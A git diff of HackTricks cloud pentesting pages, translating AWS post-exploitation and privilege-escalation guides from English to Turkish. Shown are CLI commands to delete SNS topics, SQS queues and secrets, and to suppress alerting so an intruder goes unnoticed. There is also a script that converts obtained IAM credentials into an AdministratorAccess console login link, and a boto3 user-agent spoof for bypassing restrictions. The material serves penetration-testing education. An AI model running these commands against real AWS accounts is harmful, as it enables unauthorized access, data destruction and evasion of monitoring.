"{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" +--secret-id MyTestSecret \ +--secret-string "{\"user\":\"diegor\",\"password\":\"EXAMPLE-PASSWORD\"}" ``` - -### DoS Change KMS key - +### DoS KMS anahtarını değiştirin ```bash aws secretsmanager update-secret \ - --secret-id MyTestSecret \ - --kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE +--secret-id MyTestSecret \ +--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE ``` +### DoS Gizli Silme -### DoS Deleting Secret - -The minimum number of days to delete a secret are 7 - +Bir sırrı silmek için gereken minimum gün sayısı 7'dir. ```bash aws secretsmanager delete-secret \ - --secret-id MyTestSecret \ - --recovery-window-in-days 7 +--secret-id MyTestSecret \ +--recovery-window-in-days 7 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md index e67a07739..2cc01812a 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ses-post-exploitation.md @@ -4,7 +4,7 @@ ## SES -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-ses-enum.md @@ -12,76 +12,56 @@ For more information check: ### `ses:SendEmail` -Send an email. - +Bir e-posta gönder. ```bash aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json ``` - -Still to test. +Hala test edilecek. ### `ses:SendRawEmail` -Send an email. - +Bir e-posta gönder. ```bash aws ses send-raw-email --raw-message file://message.json ``` - -Still to test. +Hala test edilecek. ### `ses:SendTemplatedEmail` -Send an email based on a template. - +Bir şablona dayalı olarak e-posta gönderin. ```bash aws ses send-templated-email --source --destination --template ``` - -Still to test. +Hala test edilecek. ### `ses:SendBulkTemplatedEmail` -Send an email to multiple destinations - +Birden fazla hedefe e-posta gönderin. ```bash aws ses send-bulk-templated-email --source --template ``` - -Still to test. +Hala test edilecek. ### `ses:SendBulkEmail` -Send an email to multiple destinations. - +Birden fazla hedefe e-posta gönderin. ``` aws sesv2 send-bulk-email --default-content --bulk-email-entries ``` - ### `ses:SendBounce` -Send a **bounce email** over a received email (indicating that the email couldn't be received). This can only be done **up to 24h after receiving** the email. - +Alınan bir e-posta üzerinden bir **bounce e-postası** gönderin (e-postanın alınamadığını belirtir). Bu işlem yalnızca **e-postanın alınmasından sonraki 24 saat içinde** yapılabilir. ```bash aws ses send-bounce --original-message-id --bounce-sender --bounced-recipient-info-list ``` - -Still to test. - ### `ses:SendCustomVerificationEmail` -This will send a customized verification email. You might need permissions also to created the template email. - +Bu, özelleştirilmiş bir doğrulama e-postası gönderecektir. Şablon e-postasını oluşturmak için de izinlere ihtiyacınız olabilir. ```bash aws ses send-custom-verification-email --email-address --template-name aws sesv2 send-custom-verification-email --email-address --template-name ``` - -Still to test. +Henüz test edilmedi. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md index b24660ee1..dccc4482f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation.md @@ -4,81 +4,65 @@ ## SNS -For more information: +Daha fazla bilgi için: {{#ref}} ../aws-services/aws-sns-enum.md {{#endref}} -### Disrupt Messages +### Mesajları Kesintiye Uğratma -In several cases, SNS topics are used to send messages to platforms that are being monitored (emails, slack messages...). If an attacker prevents sending the messages that alert about it presence in the cloud, he could remain undetected. +Birçok durumda, SNS konuları izlenen platformlara (e-postalar, slack mesajları...) mesaj göndermek için kullanılır. Bir saldırgan, buluttaki varlığını bildiren mesajların gönderilmesini engellerse, tespit edilmeden kalabilir. ### `sns:DeleteTopic` -An attacker could delete an entire SNS topic, causing message loss and impacting applications relying on the topic. - +Bir saldırgan, tüm bir SNS konusunu silebilir, bu da mesaj kaybına neden olur ve konuyu kullanan uygulamaları etkiler. ```bash aws sns delete-topic --topic-arn ``` - -**Potential Impact**: Message loss and service disruption for applications using the deleted topic. +**Olası Etki**: Silinen konu için uygulamalarda mesaj kaybı ve hizmet kesintisi. ### `sns:Publish` -An attacker could send malicious or unwanted messages to the SNS topic, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +Bir saldırgan, SNS konusuna kötü niyetli veya istenmeyen mesajlar gönderebilir, bu da veri bozulmasına, istenmeyen eylemlerin tetiklenmesine veya kaynakların tükenmesine neden olabilir. ```bash aws sns publish --topic-arn --message ``` - -**Potential Impact**: Data corruption, unintended actions, or resource exhaustion. +**Olası Etki**: Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi. ### `sns:SetTopicAttributes` -An attacker could modify the attributes of an SNS topic, potentially affecting its performance, security, or availability. - +Bir saldırgan, bir SNS konusunun özelliklerini değiştirebilir, bu da performansını, güvenliğini veya kullanılabilirliğini etkileyebilir. ```bash aws sns set-topic-attributes --topic-arn --attribute-name --attribute-value ``` - -**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability. +**Potansiyel Etki**: Yanlış yapılandırmalar, performansın düşmesine, güvenlik sorunlarına veya kullanılabilirliğin azalmasına yol açabilir. ### `sns:Subscribe` , `sns:Unsubscribe` -An attacker could subscribe or unsubscribe to an SNS topic, potentially gaining unauthorized access to messages or disrupting the normal functioning of applications relying on the topic. - +Bir saldırgan, bir SNS konusuna abone olabilir veya aboneliğini iptal edebilir, bu da yetkisiz mesaj erişimi kazanmasına veya konuyu kullanan uygulamaların normal işleyişini bozmasına neden olabilir. ```bash aws sns subscribe --topic-arn --protocol --endpoint aws sns unsubscribe --subscription-arn ``` - -**Potential Impact**: Unauthorized access to messages, service disruption for applications relying on the affected topic. +**Potansiyel Etki**: Mesajlara yetkisiz erişim, etkilenen konuya bağlı uygulamalar için hizmet kesintisi. ### `sns:AddPermission` , `sns:RemovePermission` -An attacker could grant unauthorized users or services access to an SNS topic, or revoke permissions for legitimate users, causing disruptions in the normal functioning of applications that rely on the topic. - +Bir saldırgan, yetkisiz kullanıcılara veya hizmetlere bir SNS konusuna erişim verebilir veya meşru kullanıcıların izinlerini iptal edebilir, bu da konudan yararlanan uygulamaların normal işleyişinde kesintilere neden olabilir. ```css aws sns add-permission --topic-arn --label --aws-account-id --action-name aws sns remove-permission --topic-arn --label ``` - -**Potential Impact**: Unauthorized access to the topic, message exposure, or topic manipulation by unauthorized users or services, disruption of normal functioning for applications relying on the topic. +**Potansiyel Etki**: Yetkisiz kullanıcılar veya hizmetler tarafından konuya yetkisiz erişim, mesaj ifşası veya konu manipülasyonu, konuya bağlı uygulamaların normal işleyişinin kesintiye uğraması. ### `sns:TagResource` , `sns:UntagResource` -An attacker could add, modify, or remove tags from SNS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Bir saldırgan, SNS kaynaklarından etiket ekleyebilir, değiştirebilir veya kaldırabilir, bu da kuruluşunuzun maliyet tahsisi, kaynak takibi ve etiketlere dayalı erişim kontrol politikalarını bozabilir. ```bash aws sns tag-resource --resource-arn --tags Key=,Value= aws sns untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Potansiyel Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md index 872693e89..764e90d25 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-post-exploitation.md @@ -4,7 +4,7 @@ ## SQS -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-sqs-and-sns-enum.md @@ -12,80 +12,62 @@ For more information check: ### `sqs:SendMessage` , `sqs:SendMessageBatch` -An attacker could send malicious or unwanted messages to the SQS queue, potentially causing data corruption, triggering unintended actions, or exhausting resources. - +Bir saldırgan, SQS kuyruğuna kötü niyetli veya istenmeyen mesajlar gönderebilir, bu da veri bozulmasına, istenmeyen eylemlerin tetiklenmesine veya kaynakların tükenmesine neden olabilir. ```bash aws sqs send-message --queue-url --message-body aws sqs send-message-batch --queue-url --entries ``` - -**Potential Impact**: Vulnerability exploitation, Data corruption, unintended actions, or resource exhaustion. +**Potansiyel Etki**: Açık istismarı, Veri bozulması, istenmeyen eylemler veya kaynak tükenmesi. ### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility` -An attacker could receive, delete, or modify the visibility of messages in an SQS queue, causing message loss, data corruption, or service disruption for applications relying on those messages. - +Bir saldırgan, bir SQS kuyruğundaki mesajları alabilir, silebilir veya görünürlüklerini değiştirebilir, bu da mesaj kaybına, veri bozulmasına veya bu mesajlara bağımlı uygulamalar için hizmet kesintisine neden olabilir. ```bash aws sqs receive-message --queue-url aws sqs delete-message --queue-url --receipt-handle aws sqs change-message-visibility --queue-url --receipt-handle --visibility-timeout ``` - -**Potential Impact**: Steal sensitive information, Message loss, data corruption, and service disruption for applications relying on the affected messages. +**Potansiyel Etki**: Hassas bilgilerin çalınması, Mesaj kaybı, veri bozulması ve etkilenen mesajlara bağımlı uygulamalar için hizmet kesintisi. ### `sqs:DeleteQueue` -An attacker could delete an entire SQS queue, causing message loss and impacting applications relying on the queue. - +Bir saldırgan, tüm SQS kuyruğunu silebilir, bu da mesaj kaybına neden olur ve kuyruğa bağımlı uygulamaları etkiler. ```arduino Copy codeaws sqs delete-queue --queue-url ``` - -**Potential Impact**: Message loss and service disruption for applications using the deleted queue. +**Olası Etki**: Silinen kuyruğu kullanan uygulamalar için mesaj kaybı ve hizmet kesintisi. ### `sqs:PurgeQueue` -An attacker could purge all messages from an SQS queue, leading to message loss and potential disruption of applications relying on those messages. - +Bir saldırgan, bir SQS kuyruğundaki tüm mesajları temizleyebilir, bu da mesaj kaybına ve bu mesajlara bağımlı uygulamaların potansiyel olarak kesintiye uğramasına yol açar. ```arduino Copy codeaws sqs purge-queue --queue-url ``` - -**Potential Impact**: Message loss and service disruption for applications relying on the purged messages. +**Potansiyel Etki**: Temizlenen mesajlara bağımlı uygulamalar için mesaj kaybı ve hizmet kesintisi. ### `sqs:SetQueueAttributes` -An attacker could modify the attributes of an SQS queue, potentially affecting its performance, security, or availability. - +Bir saldırgan, bir SQS kuyruğunun özelliklerini değiştirebilir, bu da performansını, güvenliğini veya kullanılabilirliğini etkileyebilir. ```arduino aws sqs set-queue-attributes --queue-url --attributes ``` - -**Potential Impact**: Misconfigurations leading to degraded performance, security issues, or reduced availability. +**Potansiyel Etki**: Yanlış yapılandırmaların performansın düşmesine, güvenlik sorunlarına veya kullanılabilirliğin azalmasına yol açması. ### `sqs:TagQueue` , `sqs:UntagQueue` -An attacker could add, modify, or remove tags from SQS resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Bir saldırgan, SQS kaynaklarından etiketler ekleyebilir, değiştirebilir veya kaldırabilir, bu da kuruluşunuzun maliyet tahsisi, kaynak izleme ve etiketlere dayalı erişim kontrol politikalarını bozabilir. ```bash aws sqs tag-queue --queue-url --tags Key=,Value= aws sqs untag-queue --queue-url --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Potansiyel Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması. ### `sqs:RemovePermission` -An attacker could revoke permissions for legitimate users or services by removing policies associated with the SQS queue. This could lead to disruptions in the normal functioning of applications that rely on the queue. - +Bir saldırgan, SQS kuyruğuna bağlı politikaları kaldırarak meşru kullanıcılar veya hizmetler için izinleri iptal edebilir. Bu, kuyruğa bağımlı uygulamaların normal işleyişinde kesintilere yol açabilir. ```arduino arduinoCopy codeaws sqs remove-permission --queue-url --label ``` - -**Potential Impact**: Disruption of normal functioning for applications relying on the queue due to unauthorized removal of permissions. +**Potansiyel Etki**: Yetkisiz izin kaldırılması nedeniyle kuyruğa bağımlı uygulamaların normal işleyişinin kesintiye uğraması. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md index 0d636f261..2e9f25145 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sso-and-identitystore-post-exploitation.md @@ -4,7 +4,7 @@ ## SSO & identitystore -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-iam-enum.md @@ -12,8 +12,7 @@ For more information check: ### `sso:DeletePermissionSet` | `sso:PutPermissionsBoundaryToPermissionSet` | `sso:DeleteAccountAssignment` -These permissions can be used to disrupt permissions: - +Bu izinler, izinleri kesintiye uğratmak için kullanılabilir: ```bash aws sso-admin delete-permission-set --instance-arn --permission-set-arn @@ -21,9 +20,4 @@ aws sso-admin put-permissions-boundary-to-permission-set --instance-arn --target-id --target-type --permission-set-arn --principal-type --principal-id ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md index 6a0cd5ba9..15962d77d 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-stepfunctions-post-exploitation.md @@ -4,7 +4,7 @@ ## Step Functions -For more information about this AWS service, check: +Bu AWS hizmeti hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-stepfunctions-enum.md @@ -12,20 +12,19 @@ For more information about this AWS service, check: ### `states:RevealSecrets` -This permission allows to **reveal secret data inside an execution**. For it, it's needed to set Inspection level to TRACE and the revealSecrets parameter to true. +Bu izin, **bir yürütme içindeki gizli verileri açığa çıkarmaya** olanak tanır. Bunun için, Denetim seviyesinin TRACE olarak ayarlanması ve revealSecrets parametresinin true olarak belirlenmesi gerekir.
### `states:DeleteStateMachine`, `states:DeleteStateMachineVersion`, `states:DeleteStateMachineAlias` -An attacker with these permissions would be able to permanently delete state machines, their versions, and aliases. This can disrupt critical workflows, result in data loss, and require significant time to recover and restore the affected state machines. In addition, it would allow an attacker to cover the tracks used, disrupt forensic investigations, and potentially cripple operations by removing essential automation processes and state configurations. +Bu izinlere sahip bir saldırgan, durum makinelerini, bunların sürümlerini ve takma adlarını kalıcı olarak silebilir. Bu, kritik iş akışlarını kesintiye uğratabilir, veri kaybına yol açabilir ve etkilenen durum makinelerini geri yüklemek için önemli bir zaman gerektirebilir. Ayrıca, bir saldırgana kullanılan izleri örtme, adli soruşturmaları kesintiye uğratma ve temel otomasyon süreçlerini ve durum yapılandırmalarını kaldırarak operasyonları potansiyel olarak felç etme imkanı sağlar. > [!NOTE] > -> - Deleting a state machine you also delete all its associated versions and aliases. -> - Deleting a state machine alias you do not delete the state machine versions referecing this alias. -> - It is not possible to delete a state machine version currently referenced by one o more aliases. - +> - Bir durum makinesi sildiğinizde, ona bağlı tüm sürümleri ve takma adları da silersiniz. +> - Bir durum makinesi takma adını sildiğinizde, bu takma adı referans alan durum makinesi sürümlerini silmezsiniz. +> - Şu anda bir veya daha fazla takma ad tarafından referans alınan bir durum makinesi sürümünü silmek mümkün değildir. ```bash # Delete state machine aws stepfunctions delete-state-machine --state-machine-arn @@ -34,45 +33,34 @@ aws stepfunctions delete-state-machine-version --state-machine-version-arn ``` - -- **Potential Impact**: Disruption of critical workflows, data loss, and operational downtime. +- **Potansiyel Etki**: Kritik iş akışlarının kesintiye uğraması, veri kaybı ve operasyonel duraksama. ### `states:UpdateMapRun` -An attacker with this permission would be able to manipulate the Map Run failure configuration and parallel setting, being able to increase or decrease the maximum number of child workflow executions allowed, affecting directly and performance of the service. In addition, an attacker could tamper with the tolerated failure percentage and count, being able to decrease this value to 0 so every time an item fails, the whole map run would fail, affecting directly to the state machine execution and potentially disrupting critical workflows. - +Bu izne sahip bir saldırgan, Map Run hata yapılandırmasını ve paralel ayarını manipüle edebilir, izin verilen maksimum çocuk iş akışı yürütme sayısını artırabilir veya azaltabilir, bu da hizmetin performansını doğrudan etkiler. Ayrıca, bir saldırgan, toleranslı hata yüzdesi ve sayısını değiştirebilir, bu değeri 0'a düşürerek her seferinde bir öğe başarısız olduğunda tüm harita çalışması başarısız olur, bu da durum makinesi yürütmesini doğrudan etkileyerek kritik iş akışlarını kesintiye uğratabilir. ```bash aws stepfunctions update-map-run --map-run-arn [--max-concurrency ] [--tolerated-failure-percentage ] [--tolerated-failure-count ] ``` - -- **Potential Impact**: Performance degradation, and disruption of critical workflows. +- **Potansiyel Etki**: Performans düşüşü ve kritik iş akışlarının kesintiye uğraması. ### `states:StopExecution` -An attacker with this permission could be able to stop the execution of any state machine, disrupting ongoing workflows and processes. This could lead to incomplete transactions, halted business operations, and potential data corruption. +Bu izne sahip bir saldırgan, herhangi bir durum makinesinin yürütülmesini durdurabilir, devam eden iş akışlarını ve süreçleri kesintiye uğratabilir. Bu, tamamlanmamış işlemlere, durdurulmuş iş operasyonlarına ve potansiyel veri bozulmasına yol açabilir. > [!WARNING] -> This action is not supported by **express state machines**. - +> Bu eylem **express durum makineleri** tarafından desteklenmemektedir. ```bash aws stepfunctions stop-execution --execution-arn [--error ] [--cause ] ``` - -- **Potential Impact**: Disruption of ongoing workflows, operational downtime, and potential data corruption. +- **Potansiyel Etki**: Devam eden iş akışlarının kesintiye uğraması, operasyonel duraksama ve potansiyel veri bozulması. ### `states:TagResource`, `states:UntagResource` -An attacker could add, modify, or remove tags from Step Functions resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags. - +Bir saldırgan, Step Functions kaynaklarından etiketler ekleyebilir, değiştirebilir veya kaldırabilir, bu da kuruluşunuzun maliyet tahsisi, kaynak izleme ve etiketlere dayalı erişim kontrol politikalarını bozabilir. ```bash aws stepfunctions tag-resource --resource-arn --tags Key=,Value= aws stepfunctions untag-resource --resource-arn --tag-keys ``` - -**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies. +**Potansiyel Etki**: Maliyet tahsisi, kaynak takibi ve etiket tabanlı erişim kontrol politikalarının kesintiye uğraması. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md index 3cabd1b71..6bc6ace43 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sts-post-exploitation.md @@ -4,21 +4,20 @@ ## STS -For more information: +Daha fazla bilgi için: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -### From IAM Creds to Console +### IAM Kimlik Bilgilerinden Konsola -If you have managed to obtain some IAM credentials you might be interested on **accessing the web console** using the following tools.\ -Note that the the user/role must have the permission **`sts:GetFederationToken`**. +Eğer bazı IAM kimlik bilgilerini elde etmeyi başardıysanız, **web konsoluna erişim sağlamayı** aşağıdaki araçları kullanarak düşünebilirsiniz.\ +Kullanıcının/rolün **`sts:GetFederationToken`** iznine sahip olması gerektiğini unutmayın. -#### Custom script - -The following script will use the default profile and a default AWS location (not gov and not cn) to give you a signed URL you can use to login inside the web console: +#### Özel script +Aşağıdaki script, varsayılan profili ve varsayılan bir AWS konumunu (gov değil ve cn değil) kullanarak, web konsoluna giriş yapmak için kullanabileceğiniz imzalı bir URL verecektir: ```bash # Get federated creds (you must indicate a policy or they won't have any perms) ## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges @@ -26,8 +25,8 @@ The following script will use the default profile and a default AWS location (no output=$(aws sts get-federation-token --name consoler --policy-arns arn=arn:aws:iam::aws:policy/AdministratorAccess) if [ $? -ne 0 ]; then - echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status" - exit $status +echo "The command 'aws sts get-federation-token --name consoler' failed with exit status $status" +exit $status fi # Parse the output @@ -43,10 +42,10 @@ federation_endpoint="https://signin.aws.amazon.com/federation" # Make the HTTP request to get the sign-in token resp=$(curl -s "$federation_endpoint" \ - --get \ - --data-urlencode "Action=getSigninToken" \ - --data-urlencode "SessionDuration=43200" \ - --data-urlencode "Session=$json_creds" +--get \ +--data-urlencode "Action=getSigninToken" \ +--data-urlencode "SessionDuration=43200" \ +--data-urlencode "Session=$json_creds" ) signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) @@ -55,11 +54,9 @@ signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri) # Give the URL to login echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token" ``` - #### aws_consoler -You can **generate a web console link** with [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). - +**Web konsol bağlantısı oluşturabilirsiniz** [https://github.com/NetSPI/aws_consoler](https://github.com/NetSPI/aws_consoler). ```bash cd /tmp python3 -m venv env @@ -67,27 +64,23 @@ source ./env/bin/activate pip install aws-consoler aws_consoler [params...] #This will generate a link to login into the console ``` - > [!WARNING] -> Ensure the IAM user has `sts:GetFederationToken` permission, or provide a role to assume. +> IAM kullanıcısının `sts:GetFederationToken` iznine sahip olduğundan emin olun veya üstlenilecek bir rol sağlayın. #### aws-vault -[**aws-vault**](https://github.com/99designs/aws-vault) is a tool to securely store and access AWS credentials in a development environment. - +[**aws-vault**](https://github.com/99designs/aws-vault) AWS kimlik bilgilerini güvenli bir şekilde depolamak ve erişmek için bir geliştirme ortamında kullanılan bir araçtır. ```bash aws-vault list aws-vault exec jonsmith -- aws s3 ls # Execute aws cli with jonsmith creds aws-vault login jonsmith # Open a browser logged as jonsmith ``` - > [!NOTE] -> You can also use **aws-vault** to obtain an **browser console session** +> **aws-vault** kullanarak bir **tarayıcı konsol oturumu** da alabilirsiniz. -### **Bypass User-Agent restrictions from Python** - -If there is a **restriction to perform certain actions based on the user agent** used (like restricting the use of python boto3 library based on the user agent) it's possible to use the previous technique to **connect to the web console via a browser**, or you could directly **modify the boto3 user-agent** by doing: +### **Python'dan User-Agent kısıtlamalarını aşma** +Eğer kullanılan **user agent'a dayalı olarak belirli eylemleri gerçekleştirme kısıtlaması** varsa (örneğin, user agent'a dayalı olarak python boto3 kütüphanesinin kullanımını kısıtlama) önceki tekniği kullanarak **tarayıcı aracılığıyla web konsoluna bağlanmak** mümkündür veya doğrudan **boto3 user-agent'ını** şu şekilde **değiştirebilirsiniz**: ```bash # Shared by ex16x41 # Create a client @@ -100,9 +93,4 @@ client.meta.events.register( 'before-call.secretsmanager.GetSecretValue', lambda # Perform the action response = client.get_secret_value(SecretId="flag_secret") print(response['SecretString']) ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md index fe4f69e25..7df74395f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-vpn-post-exploitation.md @@ -4,14 +4,10 @@ ## VPN -For more information: +Daha fazla bilgi için: {{#ref}} ../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ {{#endref}} {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md index ba8374b41..dfb6274ce 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/README.md @@ -1,27 +1,23 @@ -# AWS - Privilege Escalation +# AWS - Yetki Yükseltme {{#include ../../../banners/hacktricks-training.md}} -## AWS Privilege Escalation +## AWS Yetki Yükseltme -The way to escalate your privileges in AWS is to have enough permissions to be able to, somehow, access other roles/users/groups privileges. Chaining escalations until you have admin access over the organization. +AWS'de yetkilerinizi yükseltmenin yolu, diğer roller/kullanıcılar/gruplar yetkilerine erişebilecek kadar yeterli izne sahip olmaktır. Yükseltmeleri zincirleme yaparak organizasyon üzerinde yönetici erişimi elde edebilirsiniz. > [!WARNING] -> AWS has **hundreds** (if not thousands) of **permissions** that an entity can be granted. In this book you can find **all the permissions that I know** that you can abuse to **escalate privileges**, but if you **know some path** not mentioned here, **please share it**. +> AWS'nin **yüzlerce** (binlerce olmasa da) **izin** verebileceği bir varlık vardır. Bu kitapta, **yetki yükseltmek için kötüye kullanabileceğiniz** **bildiğim tüm izinleri** bulabilirsiniz, ancak burada belirtilmeyen **bir yol biliyorsanız**, **lütfen paylaşın**. > [!CAUTION] -> If an IAM policy has `"Effect": "Allow"` and `"NotAction": "Someaction"` indicating a **resource**... that means that the **allowed principal** has **permission to do ANYTHING but that specified action**.\ -> So remember that this is another way to **grant privileged permissions** to a principal. +> Eğer bir IAM politikası `"Effect": "Allow"` ve `"NotAction": "Someaction"` içeriyorsa ve bu bir **kaynağı** gösteriyorsa... bu, **izin verilen varlığın** **belirtilen eylem dışında HER ŞEYİ yapma iznine sahip olduğu** anlamına gelir.\ +> Bu nedenle, bu durumun **bir varlığa ayrıcalıklı izinler vermenin** başka bir yolu olduğunu unutmayın. -**The pages of this section are ordered by AWS service. In there you will be able to find permissions that will allow you to escalate privileges.** +**Bu bölümün sayfaları AWS hizmetine göre sıralanmıştır. Orada, yetkilerinizi yükseltmenizi sağlayacak izinleri bulabileceksiniz.** -## Tools +## Araçlar - [https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py](https://github.com/RhinoSecurityLabs/Security-Research/blob/master/tools/aws-pentest-tools/aws_escalate.py) - [Pacu](https://github.com/RhinoSecurityLabs/pacu) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md index 7f7edbc6e..c0c47652c 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-apigateway-privesc.md @@ -4,7 +4,7 @@ ## Apigateway -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../aws-services/aws-api-gateway-enum.md @@ -12,44 +12,37 @@ For more information check: ### `apigateway:POST` -With this permission you can generate API keys of the APIs configured (per region). - +Bu izinle, yapılandırılmış API'lerin (bölge başına) API anahtarlarını oluşturabilirsiniz. ```bash aws --region apigateway create-api-key ``` - -**Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info. +**Olası Etki:** Bu teknikle yetki yükseltme yapamazsınız ancak hassas bilgilere erişim elde edebilirsiniz. ### `apigateway:GET` -With this permission you can get generated API keys of the APIs configured (per region). - +Bu izinle, yapılandırılmış API'lerin (bölge başına) oluşturulan API anahtarlarını alabilirsiniz. ```bash aws --region apigateway get-api-keys aws --region apigateway get-api-key --api-key --include-value ``` - -**Potential Impact:** You cannot privesc with this technique but you might get access to sensitive info. +**Potansiyel Etki:** Bu teknikle yetki yükseltme yapamazsınız ancak hassas bilgilere erişim elde edebilirsiniz. ### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH` -With these permissions it's possible to modify the resource policy of an API to give yourself access to call it and abuse potential access the API gateway might have (like invoking a vulnerable lambda). - +Bu izinlerle, bir API'nin kaynak politikasını değiştirerek kendinize erişim verme ve API geçidinin sahip olabileceği potansiyel erişimi kötüye kullanma (örneğin, savunmasız bir lambda'yı çağırma) mümkün hale gelir. ```bash aws apigateway update-rest-api \ - --rest-api-id api-id \ - --patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' +--rest-api-id api-id \ +--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"' ``` - -**Potential Impact:** You, usually, won't be able to privesc directly with this technique but you might get access to sensitive info. +**Olası Etki:** Genellikle, bu teknikle doğrudan privesc yapamayacaksınız ancak hassas bilgilere erişim elde edebilirsiniz. ### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` > [!NOTE] -> Need testing - -An attacker with the permissions `apigateway:PutIntegration`, `apigateway:CreateDeployment`, and `iam:PassRole` can **add a new integration to an existing API Gateway REST API with a Lambda function that has an IAM role attached**. The attacker can then **trigger the Lambda function to execute arbitrary code and potentially gain access to the resources associated with the IAM role**. +> Test edilmesi gerekiyor +`apigateway:PutIntegration`, `apigateway:CreateDeployment` ve `iam:PassRole` izinlerine sahip bir saldırgan, **IAM rolü eklenmiş bir Lambda fonksiyonu ile 